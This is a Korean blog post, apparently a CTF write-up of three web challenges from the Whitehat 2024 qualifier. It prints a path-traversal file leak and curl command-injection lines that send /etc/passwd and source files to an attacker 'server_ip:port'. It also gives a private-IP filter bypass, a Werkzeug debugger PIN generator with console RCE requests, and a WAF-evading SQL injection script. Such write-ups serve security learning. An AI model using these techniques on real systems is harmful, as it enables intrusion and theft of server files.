Avatar
Interest: Web Exploitation.
Activities: DreamHack, Baekjoon
I occasionally blogs about web security, tricks, and development.

Whitehat 2024 Qual

Whitehat 2024 Qual

대회 일정

2024-10-19 09:00 ~ 2024-10-19 21:00

대회 후기

WhiteHat 2024 병사부문으로 참여해 우리팀은 Web 3문제, Misc 2문제, Forensic 1문제를 해결해 예선 4등을 했다. 웹은 3문제가 출제되었고, 대회 당시 3문제 모두 해결했다. 올솔은 처음이라 … 감회가 새로웠던 것 같다.

Writeup

vuln-C&C

문제 설명에서 /download?filename=main.css 파일 다운로드 경로를 알려주고 URL을 제공해주었다. 소스코드는 따로 없었기에 LFI로 파일을 릭해야했다.

팀원(@DevDori)이 http://13.125.226.130:10002/download?filename=../app.py 요청을 통해 app.py 파일을 릭했다.

from flask import Flask, render_template, abort, request, abort, send_file
from pathlib import Path
import os
import datetime as dt

app = Flask(__name__)

app.secret_key = os.urandom(128).hex()

def getReadableByteSize(num) -> str:
    for unit in ['', 'K', 'M', 'G', 'T', 'P', 'E', 'Z']:
        if abs(num) < 1024.0:
            if num == int(num):
                return "%d%s" % (int(num), unit) 
            else:
                return "%3.1f%s" % (num, unit)
        num /= 1024.0
    
    if num == int(num):
        return "%d%s" % (int(num), unit) 
    else:
        return "%.1f%s" % (num, 'Y')
    
def getTimeStampString(tSec: float) -> str:
    tObj = dt.datetime.fromtimestamp(tSec)
    tStr = dt.datetime.strftime(tObj, '%Y-%m-%d %M:%S')
    return tStr

@app.route('/')
def index():
    return render_template("index.html")

@app.route('/', defaults={'reqPath': ''})
@app.route('/<path:reqPath>')
def directory_listing(reqPath):
    FolderPath = app.root_path
    absPath = os.path.join(FolderPath, reqPath)
    if not os.path.exists(absPath):
        return abort(404)

    def fObjFromScan(x):
        fileStat = x.stat()
        return {'name': x.name,
                'relPath': os.path.relpath(x.path, FolderPath).replace("\\", "/"),
                'mTime': getTimeStampString(fileStat.st_mtime),
                'size': getReadableByteSize(fileStat.st_size),
                'isdir': os.path.isdir(x.path),
                }
    if os.path.isdir(absPath):
        fileObjs = [fObjFromScan(x) for x in os.scandir(absPath)]
    else:
        abort(404)

    parentFolderPath = os.path.relpath(
        Path(absPath).parents[0], FolderPath).replace("\\", "/")
    
    return render_template('list.html', data={'files': fileObjs, 'parentFolder': parentFolderPath, 'req_path': request.path})

@app.route('/download', methods=['GET'])
def download():
    filename = request.args.get('filename')

    if not filename:
        abort(400)

    file_path = os.path.join('static', filename)
    
    if not os.path.isfile(file_path):
        return abort(404)
    
    return send_file(file_path, as_attachment=True)
    
if __name__ == '__main__':
    app.run(host="0.0.0.0", port=5000)

디렉터리 리스팅 취약점이 존재하여 경로를 조작하며 flag 파일 찾기를 했다. /proc/self/environ, /app의 subdirectory들을 찾아보았는데도 없었다.

팀원(@DevDori)분이 /root 디렉터리에 ZIP 파일 형태의 플래그를 찾았고, ZIP 파일 내부에 플래그가 있었다. (따라가느라 급급…)

Exploit Code

http://13.125.226.130:10002/download?filename=../../../../../../../../root/flag-c368132241ec56040bdd.zip

Flag

whitehat2024{1330E4DE5DD8DF533D8D5C5388420249E71135B7}

KTEC-admin-dashboard

굉장히 삽질을 많이한 문제 …

http://13.125.199.169:10001/admin/system 페이지에 ping, curl, view log 기능들이 존재했다. 여기서 팀원(@DevDori)이 ifconfig.me | curl http://server_ip:port/ 요청을 통해 curl 기능에서 외부로 요청을 보내는 방법을 찾았다.

이후, ifconfig.me || curl -F a=@/etc/passwd http://server_ip:port/ 이와 같이 F 옵션을 통해 파일 내용을 가져오는 것을 확인했다. 여기서 서버 파일 내용을 읽어야하는데 guessing으로만 파일 경로를 찾아야해서 삽질을 굉장히 많이했다.

삽질을 하던 중, ifconfig.me || curl -F a=@./../app/__init__.py http://server_ip:port/ 요청을 통해 __init__.py 파일을 릭했다.

from flask import Flask
import secrets
import logging
import click

class RemoveColorFilter(logging.Filter):
    def filter(self, record):
        if record and record.msg and isinstance(record.msg, str):
            record.msg = click.unstyle(record.msg)
            return True

class DebugPinFilter(logging.Filter):
    def filter(self, record):
        return 'Debugger PIN' not in record.getMessage() and '/console' not in record.getMessage()

def create_app():
    app = Flask(__name__)

    app.secret_key = secrets.token_hex()

    logger = app.logger
    logger.setLevel(logging.DEBUG)

    file_handler = logging.FileHandler("logs/server.log", encoding='utf-8')
    logger = logging.getLogger('werkzeug')
    logger.setLevel(logging.INFO)
    logger.propagate = False
    logger.addHandler(file_handler)
    logger.addFilter(DebugPinFilter())
    logger.addFilter(RemoveColorFilter())

    from views import index, admin
    app.register_blueprint(index.bp)
    app.register_blueprint(admin.bp)

    return app


if __name__ == "__main__":
    app = create_app()
    app.run(host="0.0.0.0", threaded=True, debug=True, port=5000)

__init__.py 파일을 통해 views/index, views/admin 경로가 존재한다는 것을 알아냈다. 추가적으로, 디버그 모드에서 실행 중임을 확인했다.

이후, ifconfig.me || curl -F a=@./../app/views/admin.py http://server_ip:port/ 요청을 통해 admin.py 파일까지 릭했다.

from flask import Blueprint, render_template, request, redirect, url_for, session, abort, flash
from urllib.parse import urlparse
import subprocess
import socket
import ipaddress

socket.setdefaulttimeout(2)

bp = Blueprint('admin', __name__, url_prefix='/admin')

@bp.route('/', methods = ['GET', 'POST'])
def admin():
    username = session.get('username')

    if username == "superadmin":
        return redirect(url_for('admin.dashboard'))

    if request.method == 'POST':
        username = request.form['user']
        password = request.form['pass']

        if username == "superadmin" and password == "superadmin":
            session['username'] = username
            return redirect(url_for('admin.dashboard'))
        else:
            flash("Invalid username/password")
            return redirect(url_for('admin.admin'))

    return render_template('admin.html')

@bp.route('/dashboard', methods = ['GET'])
def dashboard():
    username = session.get('username')

    if username != 'superadmin':
        return abort(404)

    return render_template('dashboard.html')

@bp.route('/system', methods = ['GET'])
def system():
    username = session.get('username')

    if username != 'superadmin':
        return abort(404)

    return render_template('system.html')

@bp.route('/logout')
def logout():
    session.pop('username', None)
    return redirect(url_for('main.index'))

@bp.route('/read', methods = ['POST'])
def read():
    filename = request.form.get('filename')
    try:
        with open(filename, 'r', encoding='UTF8') as file:
            return render_template('system.html', log_content=file.read())
    except FileNotFoundError:
        abort(404)
    else:
        abort(403)

@bp.route('/ping', methods = ['POST'])
def ping():
    ip = request.form.get('ip')

    if not ip:
        abort(404)

    result = subprocess.run(['ping', '-c', '2', ip], capture_output=True, text=True)
    return render_template('system.html', ping_result=result.stdout)

@bp.route('/curl', methods = ['POST'])
def curl():
    url = request.form.get('url')

    if not url:
        curl_result = 'URL is required'
        return render_template('system.html', curl_result=curl_result)

    if not url.startswith("ifconfig.me"):
        curl_result = 'error'
        return render_template('system.html', curl_result=curl_result)

    for i in url.split():
        if i.startswith("file://"):
            curl_result = 'fail...'
            return render_template('system.html', curl_result=curl_result)

        if not i.startswith(('http://', 'https://')):
            i = i = '//' + i

        parsed_url = urlparse(i)
        netloc = parsed_url.netloc

        if ':' in netloc:
            netloc = netloc.split(':')[0]
        try:
            ip = socket.gethostbyname(netloc)
        except:
            ip = None

        try:
            if ipaddress.ip_address(ip) in ipaddress.ip_network('127.0.0.0/8') or ipaddress.ip_address(ip) in ipaddress.ip_network('172.0.0.0/8') or ip == "0.0.0.0":
                curl_result = 'fail...'
                return render_template('system.html', curl_result=curl_result)
        except:
            pass

    curl_command = ['curl']
    curl_command += url.split()
    try:
        curl_result = subprocess.run(curl_command, capture_output=True, encoding='utf-8', timeout=2)
    except:
        curl_result = "timeout error"
        return render_template('system.html', curl_result=curl_result)
    return render_template('system.html', curl_result=curl_result.stdout)

Flask Debug 모드에서 동작하는 것을 통해 PIN 번호를 구한 후, /console에 접근해서 RCE 하는 형태임을 짐작할 수 있었다. 하지만, /console 접근을 하려니 Bad Request가 뜨면서 접근이 되지 않았다. 삽질을 하다가 curl을 통해 /console에 접근해야함을 알게 되었다.

하지만, ipaddress 모듈을 통해 호스트가 사설 IP인지 검증하는 로직이 있어 이를 우회해줘야했다. 그래서, http://domain@localhost:5000 형태로 호스트를 우회해서 요청을 보내니 Bad Request가 뜨지 않는 것을 확인했다. 이제 RCE를 위해 PIN 값을 구해야했다.

ifconfig.me || curl -F a=@/proc/sys/kernel/random/boot_id http://server_ip:port/
ifconfig.me || curl -F a=@/sys/class/net/eth0/address http://server_ip:port/

요청을 통해 machine id 값과 mac address 값을 알아냈다.

import hashlib
from itertools import chain

probably_public_bits = [
    'roronoa',  # username
    'flask.app',# modname 고정
    'Flask',    # getattr(app, '__name__', getattr(app.__class__, '__name__')) 고정
    '/usr/local/lib/python3.10/site-packages/flask/app.py' 
]
 
private_bits = [
    '2485377957890',  # 02:42:ac:12:00:02
    '5ccbbc99-51c3-4aff-92ad-64e67a5b59ba'   # get_machine_id()
]
 
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode()
    h.update(bit)
h.update(b"cookiesalt")
 
cookie_name = '__wzd' + h.hexdigest()[:20]
 
num = None
if num is None:
    h.update(b"pinsalt")
    num = f"{int(h.hexdigest(), 16):09d}"[:9]

rv =None
if rv is None:
    for group_size in 5, 4, 3:
        if len(num) % group_size == 0:
            rv = "-".join(
                num[x : x + group_size].rjust(group_size, "0")
                for x in range(0, len(num), group_size)
            )
            break
    else:
        rv = num
 
print(rv)

PIN 코드를 생성하는 페이로드를 작성했고, 실행하니 852-347-138 PIN 값을 얻을 수 있었다.

Exploit Code

  1. PIN 인증 ifconfig.me -i http://13.125.199.169:10001@127.0.0.1:5000/admin?__debugger__=yes&cmd=pinauth&pin=852-347-138&s=gsiLCDxuAQWX7VNi50Zp

    PIN 인증 후, 응답 헤더에서 쿠키 값을 얻을 수 있다.

  2. RCE
    ifconfig.me -b __wzd6c64e3debe8f9d33596f=1729317583|1d9816665d29 http://13.125.199.169:10001@127.0.0.1:5000/console?__debugger__=yes&cmd=__import__(%22os%22).popen(%22/readflag%22).read();&frm=0&s=gsiLCDxuAQWX7VNi50Zp

    PIN 인증을 통해 얻은 쿠키 값을 포함시켜 /console에 명령을 보내면 실행이 되어 플래그를 얻을 수 있다.

Flag

whitehat2024{951012d6cf1cb753bdf49921fdfa9d7f50f154940a88d22770549ebe0ebb179edffce9d1682968e1c4730876470185a4e34e94}

KTEC-admin-main

from flask import Blueprint, render_template, session, abort, request, redirect, url_for, flash
from core.check import loose_waf, strict_waf
from db import dbConnection

bp = Blueprint('admin', __name__, url_prefix='/admin')

@bp.route('/', methods = ['GET', 'POST'])
def admin():
    username = session.get('username')
    
    if request.method == 'POST':
        username = request.form['user']
        password = request.form['pass']
        
        if strict_waf(username):
            return abort(400)
        
        if loose_waf(password):
            return abort(400)

        connection = dbConnection()
        try:
            with connection.cursor() as cursor:
                cursor.execute(f"SELECT * FROM users WHERE username='{username}' AND password='{password}'")
                // SELECT * FROM users WHERE username=''
                user = cursor.fetchone()
                if user:
                    session['username'] = user['username']

                    if session.get('username') == 'superadmin':
                        return render_template("flag.html")
                    else:
                        flash("hello admin!!")
                        return redirect(url_for('admin.admin'))
                else:
                    flash("Invalid username/password")
                    return redirect(url_for('admin.admin'))
        except Exception:
            flash("Invalid username/password")
            return redirect(url_for('admin.admin'))
        finally:
            if connection:
                connection.close()
    
    return render_template('admin.html')

@bp.errorhandler(400)
def handle_400_error(_):
    return render_template('400.html'), 400

/admin/ 경로에서 POST 요청을 보내 superadmin 계정으로 로그인해야한다. 코드를 통해 SQL Injection 취약점이 존재하는 것을 알 수 있었고, 필터링이 걸려있어 필터링 코드를 보았다.

loose_keywords = [
    'union', 'sleep(', 'select', 'from', 'and', 
    'or', 'superadmin', 'if', 'having', '=', '>', 
    '<',' ', '*', '/', '\n', '\r', '\t', '\x0b', 
    '\x0c', '-', '+', '|', '&', '#'
]

strict_keywords = ['superadmin', '\'']

def loose_waf(data):
    for keyword in loose_keywords:
        if keyword in data.lower():
            return True
    return False

def strict_waf(data):
    for keyword in strict_keywords:
        if keyword in data.lower():
            return True
    return False

여러 특수문자와 키워드들을 필터링하고 있다. superadmin 계정에 로그인하기 위해 init.sql을 살펴보았다.

CREATE TABLE users (
    id INT AUTO_INCREMENT PRIMARY KEY,
    username VARCHAR(80) NOT NULL,
    password VARCHAR(120) NOT NULL,
    create_time TIMESTAMP DEFAULT CURRENT_TIMESTAMP
) ENGINE = InnoDB
  DEFAULT CHARSET = utf8mb4
  COLLATE = utf8mb4_general_ci;
  /*!40101 SET character_set_client = @saved_cs_client */;

INSERT INTO users (username, password) VALUES ('admin', '**redact**');
INSERT INTO users (username, password) VALUES ('superadmin', '**redact**');

CREATE USER IF NOT EXISTS 'guest'@'%' IDENTIFIED BY 'guest';

GRANT SELECT,INSERT ON user_db.* TO 'guest'@'%';

FLUSH PRIVILEGES;

admin, superadmin 두 계정이 존재함을 알 수 있었고, 이후 SQL Injection을 시도했다.

가장 먼저 했던 부분은 주석을 사용할 수 없기 때문에 이를 우회할 방법을 찾았다.

https://github.com/payloadbox/sql-injection-payload-list

위 사이트에서 ;%00 를 통해 쿼리 뒤에 부분을 날릴 수 있음을 알게 되었다.

cur.execute(f"SELECT * FROM users WHERE username='admin' AND password=''='';\x00'") # => O
cur.execute(f"SELECT * FROM users WHERE username='admin' AND password=''=''\x00'")  # => X
cur.execute(f"SELECT * FROM users WHERE username='admin' AND password=''='';'")     # => X

실제로 수행되는지 확인하기 위해 로컬환경을 구축하였다. 세미콜론(;)에 의해 뒤에 부분이 무시되는건지 테스트 해봤는데 ;\x00를 함께 사용해야만 뒤에 부분이 무시되는 것을 확인할 수 있었다.

이후, 삽질 좀 하며 연산 종류에 대해 찾아보다가 XOR (^)를 찾게 되었고, ^();\x00 형태에서 변조해가며 SQL Injection을 시도했다.

도커에서 확인해보니 () 안에 값에 따라 결과가 달라는 것을 확인했다.

이후, username\\을 넣어 username에 '를 single quote로 인식하게 만들어 username\' AND password=가 되도록 했다. password^((id)like'1');\x00를 넣어 id가 1인 row 가져와 XOR하여 전체 조회가 될 때 id가 1이 아닌 row 값들을 가져오도록 했다. 그래서, id가 2인 superadmin 계정에 로그인하여 플래그를 얻을 수 있었다.

Exploit Code

import requests 

url = "http://3.35.238.142:10000/"

r = requests.post(
    f"{url}/admin/", 
    data={
        "user": "\\",
        "pass": "^((id)like'1');\x00"
    },
)

print(r.text)

Flag

whitehat2024{33cf81dea77e750c5cf81e507cbe8e9f54f0691ce3c8f72e89a92863d095b72063acba1938afd9704ed15e94fcdfaf29747cf2}